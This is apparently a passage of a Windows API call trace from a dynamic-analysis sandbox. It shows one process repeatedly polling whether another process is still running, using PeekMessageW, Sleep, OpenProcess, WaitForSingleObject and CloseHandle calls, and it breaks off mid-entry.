[0282.092] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.092] Sleep (dwMilliseconds=0x1) [0282.108] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.108] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.123] CloseHandle (hObject=0x1990) returned 1 [0282.123] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.123] Sleep (dwMilliseconds=0x1) [0282.139] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.139] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.155] CloseHandle (hObject=0x1990) returned 1 [0282.155] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.155] Sleep (dwMilliseconds=0x1) [0282.170] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.170] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.186] CloseHandle (hObject=0x1990) returned 1 [0282.186] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.186] Sleep (dwMilliseconds=0x1) [0282.204] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.204] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.217] CloseHandle (hObject=0x1990) returned 1 [0282.217] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.217] Sleep (dwMilliseconds=0x1) [0282.233] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.233] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.249] CloseHandle (hObject=0x1990) returned 1 [0282.249] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.249] Sleep (dwMilliseconds=0x1) [0282.264] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.264] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.280] CloseHandle (hObject=0x1990) returned 1 [0282.280] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.280] Sleep (dwMilliseconds=0x1) [0282.295] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.295] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.314] CloseHandle (hObject=0x1990) returned 1 [0282.314] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.314] Sleep (dwMilliseconds=0x1) [0282.326] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.326] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.342] CloseHandle (hObject=0x1990) returned 1 [0282.342] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.342] Sleep (dwMilliseconds=0x1) [0282.358] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.358] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.373] CloseHandle (hObject=0x1990) returned 1 [0282.373] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.373] Sleep (dwMilliseconds=0x1) [0282.389] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.389] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.405] CloseHandle (hObject=0x1990) returned 1 [0282.405] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.405] Sleep (dwMilliseconds=0x1) [0282.421] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.421] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.436] CloseHandle (hObject=0x1990) returned 1 [0282.436] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.436] Sleep (dwMilliseconds=0x1) [0282.452] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.452] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.467] CloseHandle (hObject=0x1990) returned 1 [0282.468] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.468] Sleep (dwMilliseconds=0x1) [0282.483] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.483] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.498] CloseHandle (hObject=0x1990) returned 1 [0282.498] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.498] Sleep (dwMilliseconds=0x1) [0282.514] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.514] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.530] CloseHandle (hObject=0x1990) returned 1 [0282.530] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.530] Sleep (dwMilliseconds=0x1) [0282.545] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.545] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.561] CloseHandle (hObject=0x1990) returned 1 [0282.561] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.561] Sleep (dwMilliseconds=0x1) [0282.577] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.577] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.592] CloseHandle (hObject=0x1990) returned 1 [0282.592] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.592] Sleep (dwMilliseconds=0x1) [0282.608] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.608] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.623] CloseHandle (hObject=0x1990) returned 1 [0282.623] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.624] Sleep (dwMilliseconds=0x1) [0282.639] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.639] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.654] CloseHandle (hObject=0x1990) returned 1 [0282.655] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.655] Sleep (dwMilliseconds=0x1) [0282.670] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.670] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.686] CloseHandle (hObject=0x1990) returned 1 [0282.686] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.686] Sleep (dwMilliseconds=0x1) [0282.704] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.704] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.717] CloseHandle (hObject=0x1990) returned 1 [0282.717] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.717] Sleep (dwMilliseconds=0x1) [0282.733] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.733] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.749] CloseHandle (hObject=0x1990) returned 1 [0282.749] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.749] Sleep (dwMilliseconds=0x1) [0282.775] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.775] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.780] CloseHandle (hObject=0x1990) returned 1 [0282.780] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.780] Sleep (dwMilliseconds=0x1) [0282.795] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.795] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.811] CloseHandle (hObject=0x1990) returned 1 [0282.811] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.811] Sleep (dwMilliseconds=0x1) [0282.826] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.827] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.842] CloseHandle (hObject=0x1990) returned 1 [0282.842] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.842] Sleep (dwMilliseconds=0x1) [0282.858] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.858] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.873] CloseHandle (hObject=0x1990) returned 1 [0282.873] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.874] Sleep (dwMilliseconds=0x1) [0282.889] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.889] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.905] CloseHandle (hObject=0x1990) returned 1 [0282.905] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.905] Sleep (dwMilliseconds=0x1) [0282.921] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.921] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.937] CloseHandle (hObject=0x1990) returned 1 [0282.937] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.937] Sleep (dwMilliseconds=0x1) [0282.954] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.954] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.967] CloseHandle (hObject=0x1990) returned 1 [0282.967] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.967] Sleep (dwMilliseconds=0x1) [0282.989] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0282.989] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0282.998] CloseHandle (hObject=0x1990) returned 1 [0282.998] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0282.998] Sleep (dwMilliseconds=0x1) [0283.014] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.014] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.030] CloseHandle (hObject=0x1990) returned 1 [0283.030] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.030] Sleep (dwMilliseconds=0x1) [0283.045] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.045] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.061] CloseHandle (hObject=0x1990) returned 1 [0283.061] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.061] Sleep (dwMilliseconds=0x1) [0283.076] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.076] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.094] CloseHandle (hObject=0x1990) returned 1 [0283.094] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.094] Sleep (dwMilliseconds=0x1) [0283.108] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.108] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.123] CloseHandle (hObject=0x1990) returned 1 [0283.123] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.123] Sleep (dwMilliseconds=0x1) [0283.139] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.139] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.155] CloseHandle (hObject=0x1990) returned 1 [0283.155] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.155] Sleep (dwMilliseconds=0x1) [0283.170] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.170] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.186] CloseHandle (hObject=0x1990) returned 1 [0283.186] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.186] Sleep (dwMilliseconds=0x1) [0283.203] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.203] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.217] CloseHandle (hObject=0x1990) returned 1 [0283.217] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.217] Sleep (dwMilliseconds=0x1) [0283.233] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.233] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.248] CloseHandle (hObject=0x1990) returned 1 [0283.248] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.248] Sleep (dwMilliseconds=0x1) [0283.264] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.264] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.280] CloseHandle (hObject=0x1990) returned 1 [0283.280] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.284] Sleep (dwMilliseconds=0x1) [0283.295] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.295] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.311] CloseHandle (hObject=0x1990) returned 1 [0283.311] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.311] Sleep (dwMilliseconds=0x1) [0283.326] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.326] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.342] CloseHandle (hObject=0x1990) returned 1 [0283.342] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.342] Sleep (dwMilliseconds=0x1) [0283.358] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.358] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.373] CloseHandle (hObject=0x1990) returned 1 [0283.373] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.373] Sleep (dwMilliseconds=0x1) [0283.389] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.390] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.405] CloseHandle (hObject=0x1990) returned 1 [0283.405] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.405] Sleep (dwMilliseconds=0x1) [0283.421] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.421] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.436] CloseHandle (hObject=0x1990) returned 1 [0283.436] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.436] Sleep (dwMilliseconds=0x1) [0283.451] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.451] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.467] CloseHandle (hObject=0x1990) returned 1 [0283.467] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.467] Sleep (dwMilliseconds=0x1) [0283.484] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.484] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.498] CloseHandle (hObject=0x1990) returned 1 [0283.498] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.498] Sleep (dwMilliseconds=0x1) [0283.514] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.514] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.530] CloseHandle (hObject=0x1990) returned 1 [0283.530] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.530] Sleep (dwMilliseconds=0x1) [0283.545] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.545] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.561] CloseHandle (hObject=0x1990) returned 1 [0283.561] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.561] Sleep (dwMilliseconds=0x1) [0283.576] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.576] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.592] CloseHandle (hObject=0x1990) returned 1 [0283.592] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.592] Sleep (dwMilliseconds=0x1) [0283.608] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.608] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.623] CloseHandle (hObject=0x1990) returned 1 [0283.623] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.623] Sleep (dwMilliseconds=0x1) [0283.639] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.639] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.655] CloseHandle (hObject=0x1990) returned 1 [0283.655] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.655] Sleep (dwMilliseconds=0x1) [0283.670] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.670] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.686] CloseHandle (hObject=0x1990) returned 1 [0283.686] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.686] Sleep (dwMilliseconds=0x1) [0283.702] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.702] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.717] CloseHandle (hObject=0x1990) returned 1 [0283.717] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.717] Sleep (dwMilliseconds=0x1) [0283.733] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.733] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.748] CloseHandle (hObject=0x1990) returned 1 [0283.748] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.748] Sleep (dwMilliseconds=0x1) [0283.774] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.774] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.780] CloseHandle (hObject=0x1990) returned 1 [0283.780] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.780] Sleep (dwMilliseconds=0x1) [0283.795] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.795] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.812] CloseHandle (hObject=0x1990) returned 1 [0283.812] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.812] Sleep (dwMilliseconds=0x1) [0283.826] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.826] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.842] CloseHandle (hObject=0x1990) returned 1 [0283.843] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.843] Sleep (dwMilliseconds=0x1) [0283.858] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.858] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.873] CloseHandle (hObject=0x1990) returned 1 [0283.873] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.873] Sleep (dwMilliseconds=0x1) [0283.889] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.889] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.905] CloseHandle (hObject=0x1990) returned 1 [0283.905] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.905] Sleep (dwMilliseconds=0x1) [0283.921] OpenProcess 